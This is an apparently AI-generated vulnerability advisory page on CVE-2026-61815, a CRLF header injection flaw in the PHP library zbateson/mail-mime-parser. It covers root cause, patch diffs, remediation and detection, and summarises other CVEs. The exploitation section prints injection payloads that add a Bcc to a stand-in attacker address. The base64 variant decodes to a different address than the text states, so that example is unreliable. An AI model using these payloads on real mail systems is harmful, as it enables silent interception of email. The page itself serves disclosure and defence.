CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61815

CVE-2026-61815: Remote SMTP Header Injection via Unsanitized MIME Decoded Filenames in zbateson/mail-mime-parser

Alon Barad
Alon Barad
Software Engineer

Sep 25, 2026·6 min read·1 visit

Executive Summary (TL;DR)

A validation error in zbateson/mail-mime-parser allows remote attackers to inject malicious email headers (such as Bcc directives) by embedding encoded CRLF sequences inside attachment filenames. Patches in versions 3.0.6 and 4.0.2 remediate the issue.

CVE-2026-61815 is a high-severity Carriage Return / Line Feed (CRLF) header injection vulnerability in the zbateson/mail-mime-parser library. Due to incomplete sanitization logic, encoded newline sequences within filenames and headers survive parsing and translate into literal CRLF control bytes. When applications process or forward these payloads, the library writes the unescaped control bytes directly into outbound SMTP metadata, allowing remote attackers to inject rogue headers or compromise message integrity.

Vulnerability Overview

The PHP email processing library zbateson/mail-mime-parser serves as an RFC-compliant framework for parsing and creating MIME-formatted internet messages. The software is widely integrated into automated email parsers, helpdesk ticket systems, CRM processors, and inbound mail relays to manage file attachments.

The library's attack surface includes the parsing of inbound MIME payloads and the subsequent generation of outbound mail streams. Remote attackers can leverage input validation and sanitization oversights in both directions. Inbound parsed files that contain encoded control sequences retain those malicious sequences in application memory, which can subsequently be serialized back into raw transport channels.

The vulnerability is classified as CWE-93 (Improper Neutralization of CRLF Sequences). It yields an average CVSS v3.1 score of 7.2. The downstream effect allows an attacker to manipulate header boundaries, resulting in unauthorized information disclosure or message content alteration.

Root Cause Analysis

The technical flaw underlying CVE-2026-61815 occurs because character decoding operations execute after structural sanitization filters have already run. This timing mismatch allows encoded newline characters to successfully bypass the library's defensive sanitization routines.

In MimeToken.php, RFC 2047 encoded words are evaluated. The library strips literal newline characters from the raw header using preg_replace before executing the base64 or quoted-printable decoder function decodeMime(). Consequently, any Carriage Return (\r) and Line Feed (\n) sequences safely hidden inside an encoded-word wrapper escape the filter. Once decoded, the payload materializes as literal CRLF control bytes in memory.

A parallel vulnerability exists in the parameter parser located in ParameterPart.php. When parsing RFC 2231 attachment parameters, such as the filename* parameter, the library processes percentage-encoded payloads. The parser invokes rawurldecode(), converting URL-encoded newlines (%0D%0A) into literal byte sequences (\x0D\x0A). The code lacks any subsequent validation or sanitization check to neutralize these unescaped control bytes before transmitting them to other components.

During the serialization phase, the unescaped control characters flow into MultipartHelper.php. The library attempts to sanitize filenames by invoking iconv() with the US-ASCII//translit//ignore instruction. Because Carriage Return and Line Feed are legitimate US-ASCII control characters, iconv() passes them without modification, writing the raw CRLF sequences straight into the outgoing headers.

Code-Level Patch Analysis

To resolve the core vulnerability, the developers restructured the decoding pipeline to execute sanitization immediately after payload decoding. Diffs from the core fix demonstrate the movement of sanitization logic and the addition of robust regular expressions.

In src/Header/Part/MimeToken.php, the logic has been modified to enforce a secondary regular expression filter directly on the final output of the decodeMime() method:

 class MimeToken extends Token
 {
     public function __construct(LoggerInterface $logger, MbWrapper $charsetConverter, string $value)
     {
         parent::__construct($logger, $charsetConverter, $value);
-        $this->value = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $decoded = $this->decodeMime(\preg_replace('/\r|\n/', '', $this->value));
+        $this->value = \preg_replace('/[\r\n]+/', '', $decoded) ?? '';
         $pattern = self::MIME_PART_PATTERN;

In src/Header/Part/ParameterPart.php, a similar regex filter has been integrated to catch and sanitize percentage-decoded characters emerging from the RFC 2231 parser:

     protected function decodePartValue(string $value, ?string $charset = null) : string
     {
-        if ($charset !== null) {
-            return $this->convertEncoding(\rawurldecode($value), $charset, true);
-        }
-        return $this->convertEncoding(\rawurldecode($value));
+        $decoded = ($charset !== null)
+            ? $this->convertEncoding(\rawurldecode($value), $charset, true)
+            : $this->convertEncoding(\rawurldecode($value));
+        return \preg_replace('/[\r\n]+/', '', $decoded) ?? $decoded;
     }

Finally, in src/Message/Helper/MultipartHelper.php, a defensive fallback filter was implemented during output formatting to strip structural ASCII control characters (byte range \x00-\x1F and \x7F) and replace them with spaces:

-        $safe = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $converted = \iconv('UTF-8', 'US-ASCII//translit//ignore', $filename);
+        $safe = \preg_replace('/[\x00-\x1F\x7F]+/', ' ', ($converted !== false) ? $converted : '') ?? '';

Exploitation Mechanics and Test Cases

Exploitation relies on a target application reading a malicious inbound email message and subsequently forwarding or re-attaching that content. An attacker crafts a message containing attachment parameters formatted with encoded newlines followed by raw SMTP headers.

For example, an attacker can use RFC 2231 percentage encoding to craft a malicious filename containing a Bcc header injection:

Content-Disposition: attachment; filename*=UTF-8''invoice.pdf%0D%0ABcc:%20attacker@evil.test

Alternatively, an attacker can construct an RFC 2047 Base64 MIME-encoded string of the payload invoice.pdf\r\nBcc: attacker@evil.test:

Content-Disposition: attachment; filename="=?utf-8?B?aW52b2ljZS5wZGYNCkJjYzogYXZpbEBhdHRhY2tlci50ZXN0?="

When the application processes this incoming email and calls createAndAddPartForAttachment(), the un-sanitized CRLF sequence is output directly. The downstream SMTP server processes the resulting raw stream and splits the headers, recognizing the injected string as a legitimate BCC directive:

Content-Type: application/pdf;
	name="invoice.pdf
Bcc: attacker@evil.test"
Content-Disposition: attachment;
	filename="invoice.pdf
Bcc: attacker@evil.test"

Impact Assessment

The impact of CVE-2026-61815 is critical for environments that execute automatic processing on incoming email files, such as ticketing systems, CRM managers, or automated financial tools. By injecting a carriage return and line feed, the attacker can force downstream Mail Transfer Agents (MTAs) to split header sequences.

By injecting Bcc or Cc headers, attackers can silently copy and exfiltrate all outgoing replies, attachments, and internal records corresponding to the compromised message thread. This compromises message confidentiality without generating warning flags in client-facing applications.

Attackers can also inject dual carriage returns (\r\n\r\n) to prematurely end the headers segment and insert arbitrary text or script links into the body of the email. This facilitates phishing and social engineering campaigns, as the injected content appears to originate from an internal or trusted sending system.

Remediation and Detection Guidance

The primary remediation strategy is the immediate upgrade of all zbateson/mail-mime-parser library instances. Legacy versions 1.x and 2.x are End-of-Life and will not receive security fixes. Users must upgrade to the supported patched releases:

  • Upgrade 3.x branch dependencies to version 3.0.6 (or 3.0.7)
  • Upgrade 4.x branch dependencies to version 4.0.2

To update the dependency within a PHP project, execute the following Composer directive:

composer update zbateson/mail-mime-parser

If manual validation must be applied in legacy application code, filter all output filenames extracted via the API prior to processing. Developers can run a strict regex filter to strip control characters manually:

$safe_filename = preg_replace('/[\x00-\x1F\x7F]+/', ' ', $part->getFilename());

To detect exploitation attempts, implement Snort, Suricata, or WAF rules to scan inbound mail traffic for RFC 2231 parameters containing %0D%0A or equivalent hexadecimal byte injections inside filename definitions.

Fix Analysis (2)

Technical Appendix

CVSS Score
7.2/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Affected Systems

zbateson/mail-mime-parser < 3.0.6zbateson/mail-mime-parser >= 4.0.0, < 4.0.2zbateson/mail-mime-parser 1.x (all versions, End-of-Life)zbateson/mail-mime-parser 2.x (all versions, End-of-Life)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mail-mime-parser
zbateson
< 3.0.63.0.6
mail-mime-parser
zbateson
>= 4.0.0, < 4.0.24.0.2
AttributeDetail
CWE IDCWE-93
Attack VectorNetwork (Remote)
CVSS v3.1 Score7.2
Impact TypeHeader Injection / Email Exfiltration
Exploit StatusProof-of-Concept
CISA KEV ListedNo

MITRE ATT&CK Mapping

T1114.002Email Collection: Mailbox Search
Collection
T1566Phishing
Initial Access
T1071.003Application Layer Protocol: Mail Protocols
Command and Control
CWE-93
Improper Neutralization of CRLF Sequences ('CRLF Injection')

The software does not neutralize or incorrectly neutralizes carriage return (CR) and line feed (LF) characters before using them in input headers.

References & Sources

  • [1]Official GitHub Security Advisory
  • [2]National Vulnerability Database (NVD) Detail
  • [3]CVE.org Authority Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-59723
8.8

CVE-2026-59723: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard Server

A critical Cross-Origin WebSocket Hijacking (CSWSH) vulnerability exists in the Cline Hub dashboard server (@cline/cline-hub) prior to version 3.0.30. By exploiting a complete lack of Origin header validation and an insecure default configuration where ROOM_SECRET is unset, an attacker can hijack the local WebSocket connection via a malicious website. This enables unauthorized arbitrary command execution through desktopCommand frames, leading to remote code execution on the host machine.

Alon Barad
Alon Barad
4 views•6 min read
•about 3 hours ago•CVE-2026-57170
7.8

CVE-2026-57170: Server-Side Template Injection Bypass in Compliance-Trestle Include Tags

Compliance-trestle is vulnerable to Server-Side Template Injection (SSTI) leading to arbitrary code execution due to an incomplete fix for CVE-2026-46439. While the original remediation removed recursive template rendering in the core system, custom include extensions ('mdsection_include' and 'md_clean_include') continued to compile and parse files via a standard, non-sandboxed Jinja2 environment. This allows attackers who can inject template expressions into OSCAL documents or markdown files to execute arbitrary python code when the custom template processing is executed. The issue has been patched in versions 4.1.0 and 3.12.4.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 4 hours ago•CVE-2026-57171
7.7

CVE-2026-57171: Path Traversal and Arbitrary File Write in compliance-trestle

CVE-2026-57171 describes an incomplete fix of CVE-2026-46345 inside compliance-trestle. Sibling subcommands (catalog-generate, profile-generate, ssp-generate, create, and replicate) bypass path validation routines. An attacker can manipulate output parameters to perform arbitrary file writes and directory deletions.

Alon Barad
Alon Barad
3 views•5 min read
•about 5 hours ago•CVE-2026-55736
5.9

CVE-2026-55736: Mass Assignment / Parameter Pollution in Ash Framework Changeset Path

A parameter injection vulnerability exists in the Ash framework for Elixir, where untrusted string-keyed maps can bypass the 'public?: false' restriction on action arguments. An attacker can leverage this bypass to inject and overwrite private arguments, resulting in unauthorized data modification or privilege escalation depending on the target application's design.

Alon Barad
Alon Barad
6 views•5 min read
•about 6 hours ago•CVE-2026-57175
6.4

CVE-2026-57175: Improper Authentication in social-auth-core SAML Backend

An improper authentication vulnerability (CWE-287) exists in the SAML backend of the social-auth-core package before version 5.0.0. The Assertion Consumer Service (ACS) endpoint does not verify whether incoming SAML assertions match a previously initiated AuthnRequest in the user's session. This permits an attacker with credentials on a shared Identity Provider to perform a 'Session Donor' attack, permanently linking their SAML identity to an authenticated victim's account and achieving full, persistent account takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 7 hours ago•CVE-2026-57176
6.8

CVE-2026-57176: Multi-Tenant Account Takeover via Identity Binding Collision in python-social-auth Vend Backend

An identity binding collision vulnerability in the Vend OAuth2 backend of python-social-auth (social-core) before version 5.0.0 allows unauthenticated remote attackers to take over local accounts in multi-tenant configurations. The flaw stems from relying on shop-local numeric user IDs as global social-auth identifiers, leading to collisions when identical IDs exist across distinct tenants.

Alon Barad
Alon Barad
6 views•6 min read